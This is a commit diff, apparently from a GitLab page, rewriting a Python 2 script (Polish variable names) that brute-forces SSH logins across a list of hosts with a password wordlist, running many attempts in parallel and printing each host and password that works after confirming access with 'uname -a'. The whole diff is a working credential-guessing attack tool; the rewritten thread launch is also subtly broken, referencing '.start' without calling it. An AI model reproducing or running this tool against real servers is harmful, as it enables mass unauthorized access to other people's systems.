Commit 8f983c76 authored by Piotr "PHT" Jasiek's avatar Piotr "PHT" Jasiek

przepisane wątki

parent f4a2d5eb
......@@ -6,51 +6,66 @@ from modules.database import *
from modules.fileoperations import *
from modules.fontcolor import *
from modules.sshoperations import *
import argparse
import time
import sys
import os
import thread
#hosts = sys.argv[1]
hosts = "hosts/hosts"
#user = sys.argv[2]
user = "admin"
#passwords = sys.argv[3]
passwords = "wl/passwords"
max_processes = 500
lista_hostow = [i.strip() for i in open(hosts).readlines()]
lista_hasel = [i.strip() for i in open(passwords).readlines()]
def hack( host, user, lista_hasel):
for haslo in lista_hasel:
s = pxssh.pxssh()
try:
s.login (host, user, haslo)
except pxssh.ExceptionPxssh as e:
if "Could not establish connection to host" in e.value:
print bcolors.FAIL, "Blad polaczenia:", host, bcolors.ENDC
break
elif "Connection timed out" in e.value:
print bcolors.FAIL, "Timeout", host, bcolors.ENDC
parser = argparse.ArgumentParser()
parser.add_argument('--user', required=True)
parser.add_argument('--passwords', required=True, type=open)
parser.add_argument('--hosts', required=True, type=open)
parser.add_argument('--limit', type=int, default=50)
args = parser.parse_args()
user = args.user
passwords = args.passwords
hosts = args.hosts
max_processes = args.limit
lista_hostow = [i.strip() for i in hosts.readlines()]
lista_hasel = [i.strip() for i in passwords.readlines()]
####
class hack (threading.Thread):
def __init__(self, host, user, hasla):
threading.Thread.__init__(self)
self.host = host
self.user = user
self.hasla = hasla
def run(self):
for self.haslo in self.hasla:
s = pxssh.pxssh()
try:
s.login (self.host, self.user, self.haslo)
except pxssh.ExceptionPxssh as e:
if "Could not establish connection to host" in e.value:
print bcolors.FAIL, "Blad polaczenia:", self.host, bcolors.ENDC
break
elif "Connection timed out" in e.value:
print bcolors.FAIL, "Timeout", self.host, bcolors.ENDC
break
else:
print bcolors.FAIL, "Unknown error", self.host, bcolors.ENDC
break
else:
s.sendline ('uname -a')
s.prompt()
uname = s.before
uname = uname.replace('uname -a\r\n','')
uname = uname.replace('\r\n','')
#add_host(self.host, self.user, self.haslo, uname)
print bcolors.OK,"---", self.host, self.haslo, "---", bcolors.ENDC
break
else:
s.sendline ('uname -a')
s.prompt()
uname = s.before
uname = uname.replace('uname -a\r\n','')
uname = uname.replace('\r\n','')
#add_host(host, user, haslo, uname)
print bcolors.OK,"---", host, haslo, "---", bcolors.ENDC
break
####
def thread_amount():
amount = int(os.popen('ps x | grep -i "/usr/bin/ssh -q -l" | wc -l').read())
......@@ -74,7 +89,7 @@ while (to_run != 0 and to_run > 0):
time.sleep( 1 )
try:
thread.start_new_thread( hack, (host, user, lista_hasel, ) )
hack(host, user, lista_hasel).start
to_run = to_run -1
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", th_amount, "Uruchamiam kolejne zadanie -", host, bcolors.ENDC
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment